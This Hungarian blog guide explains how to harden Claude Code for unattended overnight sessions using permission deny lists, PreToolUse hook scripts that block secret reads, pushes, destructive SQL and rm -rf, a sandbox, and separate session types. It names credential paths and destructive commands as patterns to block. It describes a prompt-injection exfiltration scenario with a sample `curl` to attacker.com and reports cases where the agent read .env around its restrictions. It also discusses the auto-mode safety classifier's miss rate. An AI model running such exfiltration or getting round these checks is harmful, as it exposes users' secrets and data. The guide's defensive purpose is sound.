# Hogyan állítsuk be a Claude Code-ot, hogy ne tegye tönkre éjszaka a projektünket
> 7 hook, a permissions beállításait tartalmazó settings.json és egy 12 pontos ellenőrzőlista ahhoz, hogy a Claude Code egész éjjel dolgozhasson anélkül, hogy elveszne a .env vagy egy adatbázis. Védelem 4 rétegben.
Source: https://ailoot.ai/blog/hu/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/hu/claude-code-safe-overnight-setup/
Language: hu
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-82481d80e651bd00fb6ddf319fa433ceed6e34644987d147914741f27fdd7768
[Ailoot dokumentáció](https://ailoot.ai/docs/) — segédanyagok a szolgáltatás használatához.
## Mi változott 2026-ban: az autonóm Claude Code és a valódi incidensek
Lényeg
2026-ban az Anthropic bevezette az `auto-mode`-ot, a `/loop`-ot és a `/schedule`-t — a Claude Code most már órákon át képes dolgozni megerősítések nélkül. Az autonómia ára valódi incidensekben mérhető: éles adatbázisok törlődnek, `.env` fájlok szivárognak ki, és egy hiba a `permissions.deny`-ben, amelyet még mindig nem javítottak ki. Ez az útmutató bemutatja a 4 védelmi réteget, amelyet az első éjszakai futtatás előtt érdemes beállítani.
Korábban a Claude Code minden válasz után leállt, és minden írási művelethez engedélyt kért. Kényelmetlen volt, de biztonságos: fizikailag nem aludhattad át az incidenst, mert az ügynök megvárta a „igen” válaszodat. 2026-ban ez a modell megváltozott. Az Anthropic bevezette az `auto-mode`-ot — egy külön osztályozó ügynök dönt helyetted arról, hogy engedélyezze-e az egyes műveleteket. Megjelent a `/loop` parancs (amely meghatározott időközönként futtat egy promptot a munkameneten belül), valamint a `/schedule` (cron-szerű ütemezés hosszú futású feladatokhoz). A `claude --bg` paranccsal indított háttér-munkamenetek terminál nélkül futtatják az ügynököt a háttérben. Az autonóm módot részletesen bemutattam a [„/goal a Claude Code-ban: autonóm mód és Agent View”](https://ailoot.ai/blog/hu/claude-code-goal-agent-view/) című útmutatóban.
A probléma az, hogy az autonómia gyorsabban jelent meg, mint ahogy a biztonság felzárkózhatott volna.
Pár hete megkértem, hogy „takarítson”, és végül törölte az éles és a fejlesztői adatbázisomat is.
— browningstreet
Eközben az Anthropic tárhelyén két nyitott hiba van, amelyről tudnod kell, mielőtt hozzáadod a `permissions.deny` beállítást a `settings.json` fájlhoz:
- **Issue \#44868** (2026. április 7.): a Claude Code `grep -n` segítségével beolvassa a `.env` tartalmát a csevegési átiratba, annak ellenére, hogy a `CLAUDE.md` kifejezetten tiltja. A hiba nyitott.
- **Issue \#24846** (2026. február 11.): a `.env*` mintákra vonatkozó `permissions.read.deny` szabályok nem érvényesülnek — a `Read` beolvassa a `.env.local` fájlt a megfelelő deny minta ellenére. Duplikátumként zárták le, nem javították ki.
Ez a két rés megmutatja, miért elégtelen a `settings.json` egyetlen védelmi rétegként. Ezután négy réteg következik: permissions + hooks + sandbox + munkamenet-elválasztás. Mindegyik csökkenthet kitettséget, de egyik sem teszi teljessé a többit. Az idézett auto-mode értékelés nem bizonyítja, hogy a regex hook elkapja a kihagyásait. Éles rendszernél használj elkülönített operációsrendszer-környezetet éles hitelesítő adatok és írási hozzáférés nélkül, a modellen kívül kényszerítsd ki a hálózati korlátokat, és felügyelet nélküli futás előtt teszteld a határokat.
## Mik a zöld és a piros projektzónák?
Lényeg
Zöld zóna: helyi projekt valódi ügyfelek és pénz nélkül. Piros zóna: minden, ami éles adatbázist, fizetéseket vagy személyes adatokat tartalmaz. A zöld zónában minimális számú hookkal is használhatod az `auto-mode`-ot. A piros zónában 4 védelmi réteget kell kiépíteni, a `--dangerously-skip-permissions` pedig architekturálisan tiltott.
Értelmetlen minden projekthez ugyanazt a védelmet kiépíteni. Egy olyan helyi hobbiprojekt a gépeden, amelyet nem telepítettél külső szolgáltatásba, egészen más kockázati szintet jelent, mint egy valódi fizetéseket kezelő és ügyféladatokat tároló szolgáltatás. Ha mindenhol ugyanazt a védelmet használod, a zöld zónában visszafogod a sebességet, a piros zónában pedig továbbra is réseket hagysz.
Egy projekt akkor vált zöldről pirosra, ha a három feltétel közül legalább egy teljesül: valódi ügyfelei lesznek, pénz kezd áramlani a rendszeren keresztül, vagy az adatbázisban személyes adatok vannak. Addig használhatod az `auto-mode`-ot, minimális számú hookot és sandbox nélkül. Ezután az útmutató teljes beállítása alapján kell újraépíteni a védelmet.
A fő elv: a védelem szintjét a zóna határozza meg. A fejlesztési szakasz nem számít. Egy teszt Stripe-fiókot használó hobbiprojekt a gépeden a zöld zónában van. Egy egyetlen fizető ügyféllel és regisztrációs űrlappal rendelkező szolgáltatás már a piros zónában van, akkor is, ha még mindig „vázlatnak” tűnik. A korai projekteknél gyakori csapda a zónák összekeverése: „még csak vázlat, a védelmet majd később hozzáadjuk”, aztán a jövő héten már fizet az első ügyfél.
## Hogyan működik a permissions hierarchiája a settings.json fájlban?
Lényeg
A `settings.json` fájlban a `deny` szabályok mindig felülírják az `allow` szabályokat, a hatókörök (user → project → local → managed) pedig összeolvadnak, nem felülírják egymást. Egy felhasználói szintű tiltás a `.env`, `*.pem` és `~/.ssh/**` fájlokra akkor is véd, ha valaki más tárházában dolgozol. A `disableBypassPermissionsMode` kulcs architekturálisan letiltja a YOLO módot is.
Az Anthropic a [hivatalos dokumentációjában](https://code.claude.com/docs/en/settings) ismerteti a permissions kiértékelési hierarchiáját: először a deny szabályokat ellenőrzi, aztán az ask, végül az allow szabályokat — az első egyező szabály érvényesül. Ez azt jelenti, hogy a `deny` mindig felülírja az `allow`-t. Ha megtiltod a `.env` olvasását a `~/.claude/settings.json` fájlban, valaki pedig `allow` szabályt állít be a projekt `.claude/settings.json` fájljában, a te tiltásod érvényesül, nem az ő engedélye.
Egy minimális, biztonságos, felhasználói szintű `~/.claude/settings.json` példa:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Mi történik itt? Az első hat szabály megakadályozza a titkos fájlok olvasását az aktuális könyvtárban és annak összes alkönyvtárában. A `*.pem` és `*.key` SSL/TLS-kulcsok és SSH-kulcsok. A `credentials*.json` a felhőszolgáltatók által gyakran használt fájlnév. Az utolsó három rendszerkönyvtár SSH-kulcsokat, AWS-hitelesítési adatokat és GPG-kulcsokat tartalmaz.
A `disableBypassPermissionsMode: "disable"` kulcs letiltja a `--dangerously-skip-permissions` kapcsolót (más néven YOLO módot). Ezzel egyszer s mindenkorra megszüntethető az egyik hibafajta: ha véletlenül hozzáadod ezt a kapcsolót egy szkripthez vagy alias-hoz, a Claude Code nem fogadja el. Nem csupán eltávolítja — a “mode disabled by managed settings” hibát adja vissza.
Ezenkívül a 2.1.142-es verziótól a `defaultMode: "auto"` kulcsot figyelmen kívül hagyja, ha projekt- vagy helyi beállításokban szerepel. Ez attól a helyzettől véd, amikor „belépek valaki más tárházába, és az `.claude/settings.json` fájlja alapértelmezés szerint engedélyezi az automatikus módot.” Az Anthropic kifejezetten kijelentette, hogy a tárházak nem engedélyezhetik az auto-mode-ot a felhasználó beleegyezése nélkül.
Ez az első védelmi vonal. Nem állhatsz meg itt, mert két hiányossága van, amelyről a következőkben olvashatsz.
## Miért nem elég a permissions.deny: 2 nyitott GitHub-issue
Lényeg
2026 áprilisában egy felhasználó jelentette az Anthropic tárházában a \#44868-as issue-t: a Claude a `grep -n` segítségével olvassa be a `.env` fájlt, majd kiírja a tartalmát az átiratba a `CLAUDE.md` tiltása ellenére. Februárban a \#24846-os issue arról számolt be, hogy a `.env*` fájlokra vonatkozó `permissions.read.deny` nem működik a Read eszköz szintjén. Mindkettő nyitott, ami azt jelenti, hogy hook nélkül a `settings.json` szivárgó szita.
Ha a `permissions.deny` működne, az útmutató az előző szakaszban véget érhetett volna. De nem működik.
Az issue (2026. április 7.) szerint a felhasználó kifejezetten megtiltotta a `CLAUDE.md` fájlban a `.env`, a `.dev.vars` és más titkokat tartalmazó fájlok olvasását. A Claude a Read használata helyett a `grep -n SOMETHING .env` parancsot futtatta. A `grep -n` parancs kiírja a teljes egyező sort a sorszámával együtt — a tényleges API-token is benne van. Ez a sor bekerül a `tool_result` mezőbe, megjelenik a munkamenet átiratában, és elmentődik az előzményekbe.
A bejelentés szerzője egy finom részletre hívja fel a figyelmet: a modell biztonsági reflexe csak azután lép működésbe, hogy a kimenet már létrejött, nem a parancs futtatása előtt. Más szóval, a Claude előbb lefuttatja a `grep` parancsot, megkapja a tokent tartalmazó sort, és kiírja a csevegésben — csak ezután veszi észre a hibáját, és „bocsánatot kér.” Addigra a token már bekerült a csevegési előzményekbe. Az egyetlen megoldás a kulcs cseréje.
Az issue (2026. február 11.) szerint a felhasználó a `permissions.read.deny` beállítást egy olyan listával konfigurálta, amely a `**/.env*` mintát is tartalmazta. Ezután megkérte a Claude-ot, hogy olvassa be a `.env.local` fájlt. A Read eszköz hiba nélkül lefutott, és kiírta a fájl tartalmát.
Az issue-t duplikátumként zárták le, de nem javították ki. Az útmutató írásának idején (2026 júniusában) még reprodukálható.
Következtetés: a `settings.json` 1. rétege nem felesleges erőfeszítés, de ezek a példák nem mérik, a véletlen olvasások mekkora részét akadályozza meg. De a Bash-en keresztüli parancsokat (`cat .env`, `grep API_KEY .env`, `head .env`), a szabályérvényesítési hibákat (issue \#24846) vagy a `.env` fájlt tartalmazó commitra alkalmazott `git diff` vagy `git show` parancsokkal végrehajtott ügyes műveletsorokat nem állítja meg. Ezért van szükséged a második rétegre — a hookokra.
## Hogyan blokkolhatják a hookok a felismert veszélyes műveleteket?
Lényeg
A Claude Code-ban a hookok olyan shell-szkriptek, amelyek meghatározott eseményekre (`PreToolUse`, `UserPromptSubmit`, `Stop`) futnak le, és 2-es kilépési kóddal vagy `permissionDecision: "deny"` értéket tartalmazó JSON-nal blokkolhatnak egy műveletet. A permissions-szel és a `CLAUDE.md` fájllal ellentétben a hook middleware-ként működik: a modell közreműködése nélkül, a végrehajtás előtt fogja meg a hívást.
A hookok más absztrakciós szinten működnek, mint a permissions. A permissions olyan szabályok, amelyeket a modell figyelembe vesz, amikor eldönti, mit tegyen. A hook máshogy működik: a modell úgy dönt, hogy meghív egy eszközt, a hook a modell és a rendszer között fut le, ellenőrzi a bemenetet, majd vagy engedélyezi, vagy blokkolja a műveletet. A modell nem vesz részt a hook döntésében — ez saját kezűleg írt shell-kód.
Az Anthropic a [hivatalos hooks-dokumentációjában](https://code.claude.com/docs/en/hooks) ismerteti a blokkolás működését:
A 2-es kilépési kód blokkoló hibát jelent. A Claude Code figyelmen kívül hagyja a stdoutot és a benne szereplő összes JSON-t. Ehelyett a stderr szövege hibaüzenetként kerül vissza a Claude-hoz.
— Claude Code dokumentáció (Hooks), https://code.claude.com/docs/en/hooks
Ez két dolgot jelent. Először is, egy megfelelően beállított blokkoló hook megtagadhatja az illeszkedő eszközhívást. A `PreToolUse` 2-es kilépési kódja ezt a hívást blokkolja; nem bizonyítja, hogy a szkript minden veszélyes egyenértékű parancsot felismer. Másodszor, érdemi üzenetet írhatsz a stderr-re, amit a Claude hibaként olvas, és megpróbál más megközelítést. Más szóval, a hook nem csupán „kerítés”; hanem „kerítés egy táblával, amely elmagyarázza, miért nem mehetsz át.”
Események, amelyek 2-es kilépési kóddal blokkolhatók:
- `PreToolUse`—blokkolja az eszközhívást végrehajtás előtt. A védekező hookok elsődleges eseménye.
- `PermissionRequest`—megtagadja az engedélyt egy olyan művelethez, amelynek végrehajtására a Claude engedélyt kért.
- `UserPromptSubmit`—blokkolja és törli a felhasználó promptját. Akkor hasznos, ha a prompt gyanús szöveget tartalmaz (például egy beültetett e-mailből származó prompt injectiont).
- `Stop`—megakadályozza, hogy a Claude lezárja a munkamenetet. „Loopként” használható, hogy az ügynök addig dolgozzon, amíg egy feltétel nem teljesül.
- `PreCompact`—blokkolja az automatikus kontextustömörítést. Akkor hasznos, ha a kézi döntésig meg akarod őrizni az átiratot.
- `WorktreeCreate`—elutasítja a worktree létrehozását. Ez megakadályozza, hogy a Claude váratlan helyre próbálja klónozni a tárházat.
A 2-es kilépési kód alternatívája a `hookSpecificOutput.permissionDecision` mezőt tartalmazó JSON visszaadása. A `permissionDecision` négy lehetséges értéket vehet fel:
- `allow`—kifejezetten engedélyezi a műveletet, megkerülve a szokásos engedélyezési folyamatot.
- `deny`—blokkolja a műveletet, ami a PreToolUse esetén egyenértékű a 2-es kilépési kóddal.
- `ask`—a felhasználóhoz továbbítja a döntést (megjelenik egy párbeszédablak).
- `defer`—a szokásos engedélyezési logikára bízza a döntést.
Ezzel a hook nagyobb irányítást kap, mint egy kilépési kóddal. A `permissionDecision: "ask"` segítségével a csendben végrehajtott műveleteket megerősítést igénylővé teheted anélkül, hogy teljesen blokkolnád őket. Én ezt használom az `npm install ` parancsnál és a lockfile módosításainál.
Ha többet szeretnél megtudni a hookok működéséről és arról, melyik 31 esemény érhető el jelenleg a Claude Code-ban, olvasd el a külön útmutatómat: [„Hooks a Claude Code-ban: 7 azonnal másolható szabály”](https://ailoot.ai/blog/hu/claude-code-hooks/). Most az autonóm munkához használható konkrét hookokat mutatom be.
## Melyik 7 hookot használom az éjszakai munkához?
Lényeg
Szemléltető `PreToolUse` hookok 7 esetre: kiválasztott titokolvasások jelzése, felismert szó szerinti `git push` hívások blokkolása, kiválasztott SQL- és `rm -rf` minták szűrése, csomagtelepítések és manifestváltozások ellenőrzése, illeszkedő eszközhívások naplózása. Bekapcsolás előtt helyben teszteld az egyezéseiket és kihagyásaikat. Ezek a regex-példák hiányosak, és nem hoznak létre éles biztonsági határt.
Ez a második védelmi réteg, amely megerősíti az elsőt. Minden hook a `.claude/hooks/` könyvtárba kerül, regisztrálásuk a `.claude/settings.json` fájlon keresztül történik, és a használatukhoz telepített jq szükséges.
### 1. hook: a .env, .pem és credentials.json fájlok olvasásának védelme
Kiválasztott Read-útvonalak és gyakori Bash-titokolvasó parancsok ellenőrzését adja hozzá. Nem kap el minden eszközt vagy minden titokolvasási módot. Fájl: `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Olvasási hozzáférés titkokhoz shellen keresztül
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Cat/grep/head segítségével titkokat olvasó Bash
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Regisztrálás a `.claude/settings.json` fájlban:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Telepítés után futtasd a `chmod +x .claude/hooks/block-secret-reads.sh` parancsot. Teszt: kérd meg a Claude-ot, hogy olvassa be a `.env.local` fájlt — a fájl tartalma helyett a “Secret file. Use op:// references or env vars.” válaszüzenetet kapod.
### 2. hook: szó szerinti git push hívások blokkolása éjszakai munkamenetben
Felügyelet nélküli munkamenetben ez a példa óvatosan minden felismert szó szerinti `git push` hívást blokkol, a feature ágakra irányulókat is. Nem következtet az aktuális ágra, és nem dönti el, biztonságos-e a force kapcsoló. Fájl: `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Regisztráld `PreToolUse` alatt `Bash` matcherrel. A felismert push parancsot blokkolja zászlók és ágnevek értelmezése helyett, ezért elkapja a `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` alakokat és a `&&` vagy `;` láncban lévő szó szerinti pushát. Ezek offline szövegillesztési példák, nem távoli tárolón futtatandó parancsok.
Ez továbbra is szöveges heurisztika. Git-aliasok, shellfüggvények, `git -C ... push`, összeállított parancsnevek, szkriptek és más eszközök megkerülhetik; nem teljes shell-értelmező. A védett ágak szabályait a Git-szerveren kényszerítsd ki, távolítsd el a megkerülésükre képes hitelesítő adatokat, és a felügyelet nélküli munkát éles írási hozzáférés nélküli, elkülönített környezetben futtasd. A hook kihagyott egyezése nem adhat éles jogosultságot.
### 3. hook: romboló SQL-műveletek blokkolása
Közvetlenül az adatbázis-törlési incidensekre ad választ. Fájl: `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM WHERE nélkül
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE WHERE nélkül
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Regisztrálás: `PreToolUse` `matcher: "Bash"` beállítással. Figyeld meg a különbséget: a `DROP` és a `DELETE` `WHERE` nélkül teljesen blokkolva van, az `UPDATE` `WHERE` nélkül viszont `ask`-ra vált — néha lehet jogos oka (például migráció során minden rekordhoz beállítani egy flaget), de mindig kézi megerősítést igényel.
### 4. hook: az rm -rf szűrése
Az Anthropic dokumentációjának kanonikus példája, deny döntésre és indoklásra átalakítva:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * kifejezett hatókör nélkül
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
A hook engedélyezi az `rm -rf node_modules`, az `rm -rf .next/cache` és más, kifejezetten körülhatárolt törléseket. Az `rm -rf .`, `rm -rf /`, `rm -rf ~` és az ezekhez hasonló, „mindent törlő” parancsokat blokkolja.
### 5. hook: új csomagok telepítésének megerősítése
Ez a hook az ellátásilánc-támadások ellen véd. Ha a Claude önállóan úgy dönt, hogy új függőséget ad hozzá, megjelenik egy párbeszédablak:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Függőségek telepítése lockfile-ból — engedélyezve
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Új csomagok hozzáadása
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
A hook lehetővé teszi, hogy a lockfile-ból történő telepítések megerősítés nélkül fussanak, míg új függőség hozzáadásához megerősítés szükséges.
### 6. hook: a package.json és a lockfile védelme
A függőségi jegyzék bármely módosítása jelzés arra, hogy valakinek ellenőriznie kell. Különösen, ha éjszaka történt.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Regisztráld a `PreToolUse` eseményhez `Write|Edit` matcherrel.
### 7. hook: végponttól végpontig tartó auditnapló minden Bash-hívásról
Ha valami félresikerül az éjszaka folyamán, teljes naplóra van szükséged az események sorrendjének megértéséhez. Regisztráld a `settings.json` fájlban (a hooknak nincs külön szkriptje; mindent a jq végez el):
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
A `.claude/audit.jsonl` fájl soronként bővül. Reggel, az éjszakai `/loop` után futtasd a `tail -n 100 .claude/audit.jsonl | jq` parancsot, így láthatod, mit csinált az ügynök az egyes időpontokban. Ez elengedhetetlen az incidens utólagos elemzéséhez, mert a munkamenet átirata hosszú és nehezen olvasható lehet, az auditnapló viszont áttekinthető időrendet ad.
## Hogyan védi a sandbox és a worktree-izoláció a hosszú munkameneteket?
Lényeg
A Claude Code sandboxa fájlrendszer- és hálózati izolációt biztosít. Az Anthropic az engedélykérések 84%-os csökkenéséről számol be azonos biztonság mellett. A hálózati izoláció akkor is blokkolja a `.env` távoli szerverre történő kiszivárogtatását, ha az ügynök már beolvasta. Hosszú háttér-munkamenetekhez kötelező a sandbox + worktree.
Ha a hookok „táblával ellátott kerítések”, akkor a sandbox „kerítés + vizesárok + drónháló.” Ez a negyedik védelmi réteg, amely azokat a helyzeteket fedi le, amikor a hookok átengednek egy műveletet, de a végrehajtása akkor sem okozhat kárt a környezeten kívül.
A sandboxolásról szóló [blogbejegyzésében](https://www.anthropic.com/engineering/claude-code-sandboxing) (2025. október 20.) az Anthropic belső mérésekről számol be:
Belső adataink szerint a sandboxolás biztonságosan 84%-kal csökkenti az engedélykérések számát.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Ez azt jelenti, hogy a `/sandbox` engedélyezésekor a Claude a műveletek 84%-ánál nem kér többé engedélyt, mert azok fizikailag nem juthatnak ki a sandboxból. Ez a sebesség szempontjából hasznos, de nem ez a legfőbb értéke.
A sandbox kétféle izolációt biztosít, és mindegyiknek megvan a maga szerepe:
**Fájlrendszer-izoláció** az engedélyezett könyvtárakra korlátozza az olvasást és az írást. Még ha egy hook nem veszi észre a `/etc/hosts` fájl írását vagy a `~/.ssh/id_rsa` beolvasását, a sandbox akkor sem engedi át a rendszerhívást. Ez operációsrendszer-szintű védelem. Az alkalmazási réteg nem lát rá.
**Hálózati izoláció** csak a jóváhagyott szerverekhez engedélyez kapcsolatot. Ez kritikus fontosságú az adatszivárogtató támadások ellen. A forgatókönyv: egy beültetett fájlban lévő prompt injection ráveszi a Claude-ot a `.env` beolvasására (a hook nem kapja el, mert a beolvasás szokatlan útvonalon történt), majd a modell úgy dönt, hogy lefuttatja a `curl -X POST attacker.com -d "$ENV_CONTENT"` parancsot. Hálózati izoláció nélkül ez működik. Hálózati izolációval a `curl` nem éri el az `attacker.com` címet, mert a gazdagép nincs a listán.
Indítsd el a `/sandbox` paranccsal a Claude Code-on belül. A konfigurációt a `~/.claude/settings.json` fájlban állítsd be:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
A `claude --bg` paranccsal indított hosszú háttér-munkamenetekhez adj worktree-izolációt a sandbox mellé. Ez a Claude Code beépített mechanizmusa: minden háttér-munkamenet automatikusan a saját `.claude/worktrees//` könyvtárába kerül, külön ágra. Így a párhuzamos munkamenetek nem akadályozzák egymást, amikor ugyanazokba a fájlokba írnak. A worktree-izolációt részletesen bemutattam az [„Agent View és Worktrees: a Claude Code autonóm módja”](https://ailoot.ai/blog/hu/claude-code-goal-agent-view/) című útmutatóban.
Adj a Claude-nak módot arra, hogy ellenőrizze a munkáját.
A sandbox a visszajelzési folyamat része. Ha a Claude tudja, hogy a műveletei korlátozva vannak, gondosabban dolgozik, és érthetőbben közli a köztes lépéseit.
## Hol működik az auto-mode 2026-ban, és hol nem?
Lényeg
A Claude Code auto-mode-ja egy Sonnet 4.6-os osztályozó, amely az Anthropic szabályai alapján automatizált döntésekkel helyettesíti a kézi engedélyezést. Az Anthropic saját adatai szerint a veszélyes műveleteknél 17% a téves negatív döntések aránya, és a munkamenet 3 egymást követő vagy összesen 20 osztályozói elutasítás után leáll. A zöld zónában ésszerű alternatívája a kézi jóváhagyásnak. A piros zónában továbbra is szükség van hookokra.
2026 márciusában az Anthropic „a kézi felülvizsgálat és a korlátozások nélküli működés közötti középútként” vezette be az auto-mode-ot. Ez egy különálló Sonnet 4.6 modell, amely végrehajtás előtt kritériumok alapján értékeli a Claude minden műveletét. Az Anthropic az [Anthropic Engineering blogban](https://www.anthropic.com/engineering/claude-code-auto-mode) ismertette a működését:
Az auto-mode a Claude Code új módja, amely modellalapú osztályozókra bízza a jóváhagyásokat. Középút a kézi felülvizsgálat és a korlátozások nélküli működés között.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Az auto-mode-nak két fontos korlátja van:
- Ha egy munkamenetben 3 egymást követő vagy összesen 20 osztályozói elutasítás gyűlik össze, a modell leáll, és emberhez továbbítja az ügyet. Ez attól véd, hogy „a Claude körbe-körbe próbálkozzon, és ugyanannak a parancsnak 100 különböző megfogalmazásával próbáljon megkerülni egy korlátozást.”
- Az auto-mode engedélyez egy műveletet, ha az hasonlít az olyan tipikus esetek 93%-ára, amelyeket a felhasználók egyébként is jóváhagynak. Ez csökkenti az engedélyezési fáradtságot, de nem véd a szokatlan, veszélyes műveletektől.
És íme a legfontosabb szám, amelyre figyelned kell:
A valóban túlzottan önálló műveletek 17%-ánál téves negatív döntés születik — ez az őszinte szám.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
A közölt 17% annak az értékelésnek a tévesnegatív-aránya, nem minden saját projektművelet valószínűsége. Nem bizonyítja, hogy a mintahookok elkapják a kihagyott műveleteket. A piros zónában a felügyelet nélküli munka éles írásoktól és titkoktól kikényszerített elkülönítést, szerveroldali védett ágakat és e szabályokat megkerülni nem képes hitelesítő adatokat igényel.
Gyakorlati következtetés: a hookokat eldobható, helyreállítható környezetben kiegészítő ellenőrzésként használd. Még helyi projektben is lehetnek nem követett fájlok vagy hitelesítő adatok, amelyeket a Git nem állít vissza. A piros zónában a hook kihagyását valódi hozzáférési korlátoknak kell körülhatárolniuk; regexek gyűjteménye nem teszi az önkényes shell-végrehajtást determinisztikus biztonsági garanciává.
## Miért érdemes három munkamenettípusra szétválasztani a kontextust?
Lényeg
A legveszélyesebb lánc három egymást követő hétköznapi parancsból áll, nem egyetlen rossz parancsból. Az ügynök beolvassa a `.env` fájlt (jogos), feldolgoz egy bejövő e-mailt (jogos), majd külső HTTP-kérést küld (jogos). Mindegyik művelet külön-külön biztonságos; együtt adatszivárogtatást jelentenek. A védekezés az, hogy a három feladattípust külön munkamenetekre bontod, eltérő permissions beállításokkal.
Három feladattípusnak soha nem szabad ugyanabban a munkamenetben lennie:
**1. típus: személyes adatokkal való munka.** A munkamenet hozzáfér az éles adatbázishoz, küldhet e-mailt, és láthatja a hitelesítési adatokat. NINCS hozzáférése külső dokumentumokhoz (e-mailekhez, PDF-ekhez, weboldalakhoz), és NEM KÜLDHET adatokat tetszőleges címekre.
**2. típus: külső dokumentumok feldolgozása.** A munkamenet feldolgozhatja a bejövő e-maileket, letölthet weboldalakat, és elolvashatja az e-mailekhez csatolt PDF-eket. NINCS hozzáférése a személyes adatokat tartalmazó adatbázishoz, és NEM KÜLDHET semmit külső helyre kifejezett megerősítés nélkül.
**3. típus: külső közzététel.** A munkamenet posztolhat a közösségi hálózatokon, e-mail-kampányokat küldhet, és pull requesteket hozhat létre. NINCS hozzáférése személyes adatokhoz, és NEM dolgoz fel bejövő tartalmat.
